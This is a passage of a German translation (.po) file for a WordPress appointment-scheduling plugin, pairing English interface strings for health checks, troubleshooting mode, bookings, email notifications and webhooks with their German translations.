includes/lib/td-health-check/includes/class-health-check-debug-data.php:134 msgid "Inactive Plugins" msgstr "Inaktive Plugins" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:129 msgid "Active Plugins" msgstr "Aktive Plugins" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:124 msgid "Must Use Plugins" msgstr "Must-Use-Plugins" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:119 msgid "Other themes" msgstr "Andere Themes" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:115 msgid "Active Theme" msgstr "Aktives Theme" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:111 msgid "Drop-ins are single files that replace or enhance WordPress features in ways that are not possible for traditional plugins" msgstr "Drop-Ins sind einzelne Dateien, die WordPress-Funktionen auf eine Weise ersetzen oder verbessern, die für herkömmliche Plugins nicht möglich sind" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:110 msgid "Drop-ins" msgstr "Drop-ins" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:106 msgid "Installation size" msgstr "Größe der Installation" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:100 msgid "Is this a multisite?" msgstr "Ist dies eine Multisite?" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:96 msgid "Default comment status" msgstr "Standard-Kommentarstatus" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:92 msgid "Can anyone register on this site?" msgstr "Kann sich jeder auf dieser Website registrieren?" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:89 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:93 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:101 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:439 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:444 msgid "No" msgstr "Nein" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:89 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:93 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:101 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:439 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:444 msgid "Yes" msgstr "Ja" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:88 msgid "Is this site using HTTPS?" msgstr "Verwendet diese Website HTTPS?" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:84 msgid "Permalink structure" msgstr "Permalink-Struktur" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:79 #: languages/admin-app-translations.php:2125 msgid "Site URL" msgstr "Website-URL" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:74 #: languages/admin-app-translations.php:2136 msgid "Home URL" msgstr "Startseiten-URL" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:70 msgid "Language" msgstr "Sprache" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:66 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:620 msgid "Version" msgstr "Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:63 msgid "WordPress" msgstr "WordPress" #. translators: %s: Latest WordPress version number. #. translators: %s: Latest plugin version number. #. translators: %s: Latest theme version number. #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:55 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:583 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:608 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:673 msgid "( Latest version: %s )" msgstr "(Aktuelle Version: %s)" #. translators: %s: Name of the filter used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:524 msgid "WordPress security and maintenance releases are blocked by the %s filter." msgstr "Sicherheits- und Wartungs-Aktualisierungen von WordPress werden durch den Filter %s blockiert." #. translators: %s: Name of the constant used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:513 msgid "WordPress security and maintenance releases are blocked by %s." msgstr "Sicherheits- und Wartungs-Aktualisierungen von WordPress werden durch %s blockiert." #. translators: %s: Name of the filter used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:490 msgid "WordPress development updates are blocked by the %s filter." msgstr "Entwicklungs-Aktualisierungen von WordPress werden durch den %s-Filter blockiert." #. translators: %s: Name of the constant used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:479 msgid "WordPress development updates are blocked by the %s constant." msgstr "Entwicklungs-Aktualisierungen von WordPress werden durch die Konstante %s blockiert." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:451 msgid "All of your WordPress files are writable." msgstr "Alle deine WordPress-Dateien können beschrieben werden." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:446 msgid "Some files are not writable by WordPress:" msgstr "Einige Dateien sind für WordPress nicht beschreibbar:" #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:420 msgid "This could mean that connections are failing to WordPress.org." msgstr "Dies könnte bedeuten, dass Verbindungen zu WordPress.org fehlschlagen." #. translators: %s: WordPress version #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:417 msgid "Couldn't retrieve a list of the checksums for WordPress %s." msgstr "Eine Liste der Prüfsummen für WordPress %s konnte nicht abgerufen werden." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:357 msgid "Your installation of WordPress doesn't require FTP credentials to perform updates." msgstr "Deine Installation von WordPress benötigt keine FTP-Zugangsdaten, um Updates durchzuführen." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:348 msgid "(Your site is performing updates over FTP due to file ownership. Talk to your hosting company.)" msgstr "(Deine Website führt aufgrund des Dateibesitzes Aktualisierungen über FTP aus. Kontaktiere dazu deinen Hosting-Anbieter.)" #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:347 msgid "Your installation of WordPress prompts for FTP credentials to perform updates." msgstr "Deine WordPress-Installation benötigt FTP-Zugangsdaten, um Aktualisierungen durchzuführen." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:316 msgid "No version control systems were detected." msgstr "Es wurde kein Versionskontrollsystem gefunden." #. translators: %1$s: Folder name. %2$s: Version control directory. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:307 msgid "The folder %1$s was detected as being under version control (%2$s)." msgstr "Der Ordner %1$s wurde als versionskontrolliert erkannt (%2$s)." #. translators: %1$s: Folder name. %2$s: Version control directory. %3$s: #. Filter name. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:294 msgid "The folder %1$s was detected as being under version control (%2$s), but the %3$s filter is allowing updates." msgstr "Der Ordner %1$s wurde als versionskontrolliert erkannt (%2$s), aber der Filter %3$s erlaubt Aktualisierungen." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:232 msgid "We'll try again with the next release." msgstr "Wir werden es mit der nächsten Version erneut versuchen." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:227 msgid "A previous automatic background update could not occur." msgstr "Eine frühere automatische Aktualisierung im Hintergrund konnte nicht durchgeführt werden." #. translators: %s: Code of error shown. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:218 #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:235 msgid "The error code was %s." msgstr "Der Fehler-Code war %s." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:215 msgid "When you've been able to update using the \"Update Now\" button on Dashboard > Updates, we'll clear this error for future update attempts." msgstr "Wenn du das Update über den Button „Jetzt aktualisieren“ unter Dashboard > Aktualisierungen ausführen konntest, werden wir diesen Fehler für zukünftige Aktualisierungsversuche löschen." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:214 #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:229 msgid "You would have received an email because of this." msgstr "Du hättest dafür eine E-Mail erhalten sollen." #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:213 msgid "A previous automatic background update ended with a critical failure, so updates are now disabled." msgstr "Eine frühere automatische Aktualisierung im Hintergrund endete mit einem kritischen Fehler, weshalb Aktualisierungen nun deaktiviert sind." #. translators: %s: Name of the filter used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:188 msgid "The %s filter is enabled." msgstr "Der Filter %s ist aktiviert." #. translators: %s: Name of the filter used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:166 msgid "A plugin has prevented updates by disabling %s." msgstr "Ein Plugin hat Aktualisierungen durch Deaktivierung von %s verhindert." #. translators: %s: Name of the constant used. #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:81 #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:103 #: includes/lib/td-health-check/includes/class-health-check-auto-updates.php:125 msgid "The %s constant is defined and enabled." msgstr "Die Konstante %s wurde definiert und aktiviert." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1060 msgid "Show fewer themes" msgstr "Weniger Themes anzeigen" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1056 msgid "Show all themes" msgstr "Alle Themes anzeigen" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1029 msgid "Switch to this theme" msgstr "Zu diesem Theme wechseln" #. translators: %s: Theme name. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1025 msgid "Switch the active theme to %s" msgstr "Wechsle das aktive Theme zu %s" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1002 msgid "Available Themes" msgstr "Verfügbare Themes" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:991 msgid "Show fewer plugins" msgstr "Weniger Plugins anzeigen" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:987 msgid "Show all plugins" msgstr "Alle Plugins anzeigen" #. translators: %s: Plugin name. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:965 msgid "Enable the plugin, %s, while troubleshooting." msgstr "Aktiviere das Plugin, %s, während der Problembehandlung." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:954 msgid "Disable" msgstr "Deaktivieren" #. translators: %s: Plugin name. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:950 msgid "Disable the plugin, %s, while troubleshooting." msgstr "Deaktiviere das Plugin, %s, während der Problembehandlung." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:920 msgid "Available Plugins" msgstr "Verfügbare Plugins" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:909 msgid "Dismiss notices" msgstr "Hinweise ausblenden" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:887 msgid "Plugin actions, such as activating and deactivating, are not available while in Troubleshooting Mode." msgstr "Plugin-Aktionen, wie z.B. das Aktivieren und Deaktivieren, sind im Problembehandlungsmodus nicht verfügbar." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:879 msgid "There are no notices to show." msgstr "Es sind keine Mitteilungen vorhanden." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:873 msgid "Notices" msgstr "Hinweise" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:867 msgid "Here you can enable individual plugins or themes, helping you to find out what might be causing strange behaviors on your site. Do note that any changes you make to settings will be kept when you disable Troubleshooting Mode." msgstr "Hier kannst du einzelne Plugins oder Themes aktivieren um herausfinden, was auf deiner Seite seltsame Verhaltensweisen hervorrufen könnte. Bitte beachte, dass alle Änderungen, die du an den Einstellungen vornimmst, erhalten bleiben, wenn du den Problembehandlungsmodus deaktivierst." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:863 msgid "Your site is currently in Troubleshooting Mode. This has no effect on your site visitors, they will continue to view your site as usual, but for you it will look as if you had just installed WordPress for the first time." msgstr "Deine Website befindet sich derzeit im Problembehandlungsmodus. Dies hat keinen Einfluss auf die Besucher deiner Website, die deine Website wie gewohnt sehen können. Aber für dich wird es so aussehen, als hättest du WordPress gerade zum ersten Mal installiert." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:859 msgid "Health Check — Troubleshooting Mode" msgstr "Website-Zustand — Problembehandlungsmodus" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:715 #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1074 #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:299 msgid "Disable Troubleshooting Mode" msgstr "Problembehandlungsmodus deaktivieren" #. translators: Prefix for the active theme in a listing. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:697 #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:1035 msgid "Active:" msgstr "Aktiv:" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:682 msgid "Themes" msgstr "Themes" #. Translators: %s: Plugin slug. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:657 msgid "Enable %s" msgstr "Aktiviere %s" #. Translators: %s: Plugin slug. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:644 msgid "Disable %s" msgstr "%s deaktivieren" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:620 msgid "Plugins" msgstr "Plugins" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:613 msgid "Manage active plugins" msgstr "Aktive Plugins verwalten" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:606 msgid "Troubleshooting Mode" msgstr "Problembehandlungsmodus" #. translators: %s: The theme slug that was switched to. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:555 msgid "When switching the active theme to %s, a site failure occurred. Because of this we reverted the theme to the one you used previously." msgstr "Beim Umschalten des aktiven Themes auf %s trat ein Website-Fehler auf. Aus diesem Grund haben wir das Theme auf das zuvor verwendete zurückgesetzt." #. translators: %s: The plugin slug that was disabled. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:532 msgid "When disabling the plugin, %s, a site failure occurred. Because of this the change was automatically reverted." msgstr "Bei der Deaktivierung des Plugins %s ist ein Website-Fehler aufgetreten. Daher wurde die Änderung automatisch zurückgesetzt." #. translators: %s: The plugin slug that was enabled. #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:506 msgid "When enabling the plugin, %s, a site failure occurred. Because of this the change was automatically reverted." msgstr "Beim Aktivieren des Plugins %s ist ein Webiste-Fehler aufgetreten. Daher wurde die Änderung automatisch zurückgesetzt." #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:231 msgid "Enable while troubleshooting" msgstr "Aktivieren während der Problembehandlung" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:223 msgid "Disable while troubleshooting" msgstr "Deaktivieren während der Problembehandlung" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:120 msgid "Install a default theme" msgstr "Ein Standard-Theme installieren" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:115 msgid "You don't have any of the default themes installed. A default theme helps you determine if your current theme is causing conflicts." msgstr "Du hast keines der Standard-Themes installiert. Ein Standard-Theme hilft dir festzustellen, ob dein aktuelles Theme Konflikte verursacht." #: includes/class-wp-admin.php:308 includes/class-wp-admin.php:309 #: languages/admin-app-translations.php:2129 msgid "Support" msgstr "Support" #: includes/class-support-status-api.php:226 msgid "No response" msgstr "Keine Reaktion" #: languages/booking-app-new-translations.php:133 #: languages/booking-app-translations.php:95 msgid "Sorry, that time was just booked and is no longer available. Please choose another time." msgstr "Leider wurde dieser Zeitpunkt soeben gebucht und ist nicht mehr verfügbar. Bitte wähle eine andere Uhrzeit." #: languages/admin-app-translations.php:168 msgid "Try disconnecting and reconnecting your Google account." msgstr "Versuche die Verbindung zu deinem Google-Konto zu trennen und wieder herzustellen." #: languages/admin-app-translations.php:167 msgid "Unable to get your Google calendars" msgstr "Deine Google Kalender können nicht abgerufen werden" #: includes/class-appointment-model.php:877 #: includes/class-appointment-model.php:1022 msgid "Sorry, that time was just booked and is no longer available" msgstr "Leider wurde diese Uhrzeit soeben gebucht und ist nicht mehr verfügbar" #: languages/admin-app-translations.php:1259 msgid "Enter your custom CSS here" msgstr "Gebe hier dein individuelles CSS ein" #: languages/admin-app-translations.php:1258 msgid "Custom CSS" msgstr "Individuelles CSS" #: templates/notifications/email/text/canceled-staff.php:23 msgid "%s" msgstr "%s" #: templates/notifications/email/text/canceled-staff.php:21 msgid "*** Canceled ***" msgstr "*** Storniert ***" #: templates/notifications/email/text/canceled-staff.php:19 msgid "Your appointment \"%s\" with %s has been canceled" msgstr "Dein Termin „%s“ mit %s wurde abgesagt" #: templates/notifications/email/text/canceled-customer.php:21 msgid "Your appointment \"%s\" (booked on %s) has been canceled" msgstr "Dein Termin „%s“ (gebucht auf %s) wurde storniert" #: templates/notifications/email/text/booked-staff.php:22 msgid "Starting at %s" msgstr "Beginnend um %s" #: templates/notifications/email/text/booked-staff.php:21 #: templates/notifications/email/text/canceled-staff.php:22 msgid "Appointment Details:" msgstr "Termindetails:" #: templates/notifications/email/text/booked-staff.php:19 msgid "%s just booked an appointment on %s" msgstr "%s hat soeben einen Termin gebucht am %s" #: templates/notifications/email/text/booked-customer.php:38 msgid "If you need to cancel or change your appointment, you can do so by visiting this link:" msgstr "Wenn du deinen Termin absagen oder ändern möchtest, kannst du dies über diesen Link tun:" #: templates/notifications/email/text/booked-customer.php:33 #: templates/notifications/email/text/booked-staff.php:32 #: templates/notifications/email/text/canceled-staff.php:25 msgid "Type: %s" msgstr "Art: %s" #: templates/calendar-events/customer.php:25 #: templates/notifications/email/text/booked-customer.php:26 #: templates/notifications/email/text/booked-staff.php:25 msgid "Instructions: %s" msgstr "Anleitung: %s" #: templates/notifications/email/text/booked-customer.php:23 msgid "Appointment scheduled for %s" msgstr "Termin geplant für den %s" #: templates/notifications/email/text/booked-customer.php:21 msgid "This is a confirmation of the appointment you just booked on %s" msgstr "Dies ist eine Bestätigung des soeben gebuchten Termins auf %s" #: templates/notifications/email/text/booked-customer.php:19 #: templates/notifications/email/text/canceled-customer.php:19 msgid "Hi %s," msgstr "Hallo %s," #: languages/booking-app-new-translations.php:17 #: languages/booking-app-translations.php:17 msgid "Current local time is:" msgstr "Aktuelle Ortszeit ist:" #: languages/booking-app-new-translations.php:16 #: languages/booking-app-translations.php:16 msgid "You are booking an appointment in timezone:" msgstr "Du buchst einen Termin in der Zeitzone:" #: languages/admin-app-translations.php:1572 msgid "Your timezone is:" msgstr "Deine Zeitzone ist:" #: languages/admin-app-translations.php:1571 msgid "Your customers will see available appointment times in a your timezone. Recommended for in-person meetings." msgstr "Deine Kunden sehen verfügbare Terminzeiten in deiner Zeitzone. Empfohlen für persönliche Besprechungen." #: languages/admin-app-translations.php:1570 msgid "Your customers will see available appointment times in their own timezone. Recommended for phone calls and online meetings." msgstr "Deine Kunden sehen verfügbare Terminzeiten in ihrer eigenen Zeitzone. Empfohlen für Telefongespräche und Online-Meetings." #: languages/admin-app-translations.php:1569 msgid "Locked" msgstr "Gesperrt" #: languages/admin-app-translations.php:1568 msgid "Localized" msgstr "Lokalisiert" #: languages/admin-app-translations.php:1567 msgid "Is this appointment type associated with a specific timezone?" msgstr "Ist diese Terminart einer bestimmten Zeitzone zugeordnet?" #: languages/admin-app-translations.php:1566 msgid "Appointment timezone" msgstr "Zeitzone für Termine" #: languages/admin-app-translations.php:1982 msgid "Group Appointment Details" msgstr "Details zum Gruppentermin" #: booking-app-new/page-appointment-edit.php:6 #: booking-app/page-appointment-edit.php:6 msgid "Edit Appointment" msgstr "Termin bearbeiten" #: languages/admin-app-translations.php:1369 msgid "Delete this webhook?" msgstr "Diesen Webhook löschen?" #: languages/admin-app-translations.php:1367 msgid "Example delivery" msgstr "Beispiellieferung" #: languages/admin-app-translations.php:772 #: languages/admin-app-translations.php:1365 #: languages/admin-app-translations.php:1407 msgid "Description" msgstr "Beschreibung" #: languages/admin-app-translations.php:1364 msgid "Header" msgstr "Header" #: languages/admin-app-translations.php:1363 msgid "HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers:" msgstr "HTTP-POST-Payloads, die an den konfigurierten URL-Endpunkt deines Webhooks geliefert werden, enthalten mehrere spezielle Header:" #: languages/admin-app-translations.php:1362 msgid "Delivery headers" msgstr "Delivery headers" #: languages/admin-app-translations.php:1357 msgid "You must enter at least one URL for this webhook" msgstr "Du musst für diesen Webhook mindestens eine URL eingeben" #: languages/admin-app-translations.php:1356 msgid "You must select at least one trigger for this webhook" msgstr "Du musst für diesen Webhook mindestens einen Trigger auswählen" #: languages/admin-app-translations.php:1351 msgid "That URL has already been added for this webhook" msgstr "Diese URL wurde bereits für diesen Webhook hinzugefügt" #: languages/admin-app-translations.php:1350 msgid "URLs" msgstr "URLs" #: languages/admin-app-translations.php:964 #: languages/admin-app-translations.php:1347 msgid "Appointment Canceled" msgstr "Termin storniert" #: languages/admin-app-translations.php:963 #: languages/admin-app-translations.php:1346 msgid "Appointment Edited" msgstr "Termin bearbeitet" #: languages/admin-app-translations.php:962 #: languages/admin-app-translations.php:1345 msgid "Appointment Booked" msgstr "Termin gebucht" #: languages/admin-app-translations.php:1342 msgid "Triggers:" msgstr "Trigger:" #: languages/admin-app-translations.php:1341 msgid "Trigger:" msgstr "Trigger:" #: languages/admin-app-translations.php:1340 msgid "Select the triggers for this webhook:" msgstr "Wähle die Trigger für diesen Webhook aus:" #: languages/admin-app-translations.php:1339 msgid "Token copied to clipboard" msgstr "Token in die Zwischenablage kopiert" #: languages/admin-app-translations.php:1337 msgid "This token will be sent in the outgoing payload to help you verify the request came from Simply Schedule Appointments" msgstr "Dieses Token wird in den ausgehenden Daten mitgeschickt, damit du überprüfen kannst, ob die Anfrage von Simply Schedule Appointments kam" #: languages/admin-app-translations.php:1336 msgid "Token" msgstr "Token" #: languages/admin-app-translations.php:1332 msgid "There are no webhooks triggered by this appointment type" msgstr "Es gibt keine Webhooks, die durch diese Terminart ausgelöst werden" #: languages/admin-app-translations.php:1331 msgid "There are no webhooks." msgstr "Es gibt keine Webhooks." #: languages/admin-app-translations.php:1330 msgid "The following webhooks are triggered for this appointment type:" msgstr "Die folgenden Webhooks werden durch diese Terminart ausgelöst:" #: languages/admin-app-translations.php:1328 msgid "Edit webhook" msgstr "Webhook bearbeiten" #: languages/admin-app-translations.php:1327 msgid "Add a new webhook" msgstr "Einen neuen Webhook hinzufügen" #: languages/admin-app-translations.php:417 msgid "This feature isn't enabled. Would you like to enable it now?" msgstr "Diese Funktion ist nicht aktiviert. Möchtest du diese jetzt aktivieren?" #: includes/lib/td-health-check/assets/mu-plugin/health-check-troubleshooting-mode.php:969 #: languages/admin-app-translations.php:416 msgid "Enable" msgstr "Aktivieren" #: languages/admin-app-translations.php:149 msgid "Integrate Simply Schedule Appointments with other apps and services" msgstr "Integriere Simply Schedule Appointments mit anderen Apps und Services" #: languages/admin-app-translations.php:148 #: languages/admin-app-translations.php:1324 msgid "Webhooks" msgstr "Webhooks" #: languages/admin-app-translations.php:1565 msgid "Show appointment start times every:" msgstr "Anzeigen der Terminstartzeiten alle:" #: languages/booking-app-new-translations.php:132 #: languages/booking-app-translations.php:94 msgid "You can't book appointments in the past." msgstr "Du kannst keine Termine in der Vergangenheit buchen." #: languages/booking-app-new-translations.php:131 #: languages/booking-app-translations.php:93 msgid "There are no available appointment times" msgstr "Es gibt keine freien Terminzeiten" #: languages/booking-app-new-translations.php:130 #: languages/booking-app-translations.php:92 msgid "This appointment type cannot be booked at this time" msgstr "Diese Terminart kann zur Zeit nicht gebucht werden" #: languages/admin-app-translations.php:1601 msgid "Limit how many appointments of this type can be booked per day" msgstr "Beschränkung, wie viele Termine dieser Art pro Tag gebucht werden können" #: languages/admin-app-translations.php:1600 msgid "Per day limit" msgstr "Limit pro Tag" #: languages/admin-app-translations.php:1597 msgid "Define a specific date range for when appointments are available to be booked" msgstr "Definiere einen bestimmten Datumsbereich, in dem Termine für die Buchung zur Verfügung stehen" #: languages/admin-app-translations.php:1596 msgid "Availability window" msgstr "Verfügbarkeitsfenster" #: languages/admin-app-translations.php:1595 #: languages/admin-app-translations.php:1599 msgid "End" msgstr "Ende" #: languages/admin-app-translations.php:1594 #: languages/admin-app-translations.php:1598 msgid "Start" msgstr "Beginn" #: languages/admin-app-translations.php:1593 msgid "Define a specific date range for when customers will have access to book this type of appointment" msgstr "Definiere einen bestimmten Datumsbereich, in dem Kunden diese Terminart buchen können" #: languages/admin-app-translations.php:1592 msgid "Booking window" msgstr "Buchungsfenster" #: languages/admin-app-translations.php:1589 msgid "How far in advance customers can book an appointment" msgstr "Wie weit im Voraus Kunden einen Termin buchen können" #: languages/admin-app-translations.php:1587 msgid "How far into the future customers should be able to book this type of appointment" msgstr "Wie weit in der Zukunft Kunden diese Terminart buchen können" #: includes/class-availability-model.php:604 #: languages/admin-app-translations.php:1586 #: languages/admin-app-translations.php:1588 msgid "Advance" msgstr "Voraus" #: languages/admin-app-translations.php:1584 msgid "Notice" msgstr "Hinweis" #: languages/admin-app-translations.php:1583 msgid "How much notice you need when someone books an appointment" msgstr "Wie viel Vorlauf du benötigen, wenn jemand einen Termin bucht" #: languages/admin-app-translations.php:1582 msgid "Notice required" msgstr "Ankündigungszeit" #: languages/admin-app-translations.php:1574 msgid "The amount of time that should be left free before and after an appointment." msgstr "Die Zeit, die vor und nach einem Termin frei bleiben soll." #: languages/admin-app-translations.php:1573 msgid "Appointment buffer" msgstr "Termin-Puffer" #: languages/admin-app-translations.php:440 msgid "The availability end date must be after the availability start date" msgstr "Das Enddatum der Verfügbarkeit muss nach dem Startdatum liegen" #: languages/admin-app-translations.php:439 msgid "The booking end date must be after the booking start date" msgstr "Das Enddatum der Buchung muss nach dem Startdatum liegen" #: languages/admin-app-translations.php:438 #: languages/admin-app-translations.php:667 msgid "Edit Appointment Types" msgstr "Terminarten bearbeiten" #: languages/admin-app-translations.php:434 msgid "Advanced Scheduling Options" msgstr "Erweiterte Terminoptionen" #: includes/class-utils.php:214 msgid "Locations are not supported yet" msgstr "Standorte werden noch nicht unterstützt" #: includes/class-utils.php:212 msgid "Staff members are not supported yet" msgstr "Mitarbeiter werden noch nicht unterstützt" #: includes/class-utils.php:193 msgid "No $local_timezone defined" msgstr "Keine $local_timezone definiert" #: languages/admin-app-translations.php:1871 msgid "Deleted appointment type" msgstr "Gelöschte Terminart" #: languages/admin-app-translations.php:1605 msgid "The following appointments of this type are booked:" msgstr "Die folgenden Termine dieser Art sind gebucht:" #: languages/admin-app-translations.php:1617 msgid "Create a new appointment type" msgstr "Neue Terminart erstellen" #: languages/booking-app-new-translations.php:94 #: languages/booking-app-translations.php:78 msgid "Schedule a new appointment" msgstr "Neuen Termin buchen" #: languages/booking-app-new-translations.php:92 #: languages/booking-app-translations.php:76 msgid "Edit Information" msgstr "Angaben bearbeiten" #: languages/admin-app-translations.php:28 #: languages/booking-app-new-translations.php:90 #: languages/booking-app-translations.php:74 msgid "Reschedule" msgstr "Termin verschieben" #: languages/booking-app-new-translations.php:89 #: languages/booking-app-translations.php:73 msgid "This appointment has been canceled" msgstr "Dieser Termin wurde storniert" #: languages/booking-app-new-translations.php:88 #: languages/booking-app-translations.php:72 msgid "This appointment is in the past. It cannot be edited." msgstr "Dieser Termin liegt in der Vergangenheit. Er kann nicht mehr bearbeitet werden." #: languages/booking-app-new-translations.php:85 #: languages/booking-app-new-translations.php:91 #: languages/booking-app-translations.php:71 #: languages/booking-app-translations.php:75 msgid "Cancel Appointment" msgstr "Termin stornieren" #: languages/booking-app-new-translations.php:84 #: languages/booking-app-translations.php:70 msgid "Keep Appointment" msgstr "Termin behalten" #: languages/booking-app-new-translations.php:83 #: languages/booking-app-translations.php:69 msgid "Are you sure you want to cancel?" msgstr "Bist du sicher, dass du absagen möchtest?" #: languages/booking-app-new-translations.php:81 #: languages/booking-app-translations.php:67 msgid "Canceled:" msgstr "Storniert:" #: languages/booking-app-new-translations.php:80 #: languages/booking-app-translations.php:66 msgid "Make a change" msgstr "Eine Änderung vornehmen" #: languages/booking-app-new-translations.php:67 #: languages/booking-app-translations.php:60 msgid "Update this appointment" msgstr "Termin aktualisieren" #: languages/booking-app-new-translations.php:66 #: languages/booking-app-translations.php:59 msgid "Book this appointment" msgstr "Diesen Termin buchen" #: languages/admin-app-translations.php:492 msgid "Appointment email address is required" msgstr "E-Mail-Adresse für Termine ist erforderlich" #: languages/admin-app-translations.php:491 msgid "SSA will send an email to this email when a visitor books an appointment." msgstr "SSA wird eine E-Mail an diese Adresse senden, wenn ein Besucher einen Termin bucht." #: languages/admin-app-translations.php:489 msgid "Business name is required" msgstr "Geschäftsname ist erforderlich" #: languages/admin-app-translations.php:487 msgid "Appointment Contact name is required" msgstr "Kontaktname ist für Termine erforderlich" #: languages/admin-app-translations.php:1257 msgid "View the Google Fonts library" msgstr "Google-Fonts-Bibliothek anzeigen" #: languages/admin-app-translations.php:1256 msgid "You may use any valid CSS measurement unit: %, em, px, vw, rem, etc." msgstr "Du kannst jede gültige CSS-Maßeinheit verwenden: %, em, px, vw, rem, etc." #: languages/admin-app-translations.php:1255 msgid "Padding is required. Enter 0 for no padding." msgstr "Innenabstand ist erforderlich. Gib 0 für kein Innenabstand ein." #: languages/admin-app-translations.php:1254 msgid "Your settings will be lost and all styles will be reset to the default values." msgstr "Deine Einstellungen gehen dabei verloren und alle Stile werden auf die Standardwerte zurückgesetzt." #: languages/admin-app-translations.php:1252 msgid "Reset to default" msgstr "Auf Standard zurücksetzen" #: includes/beaver-builder/modules/booking/booking.php:81 #: 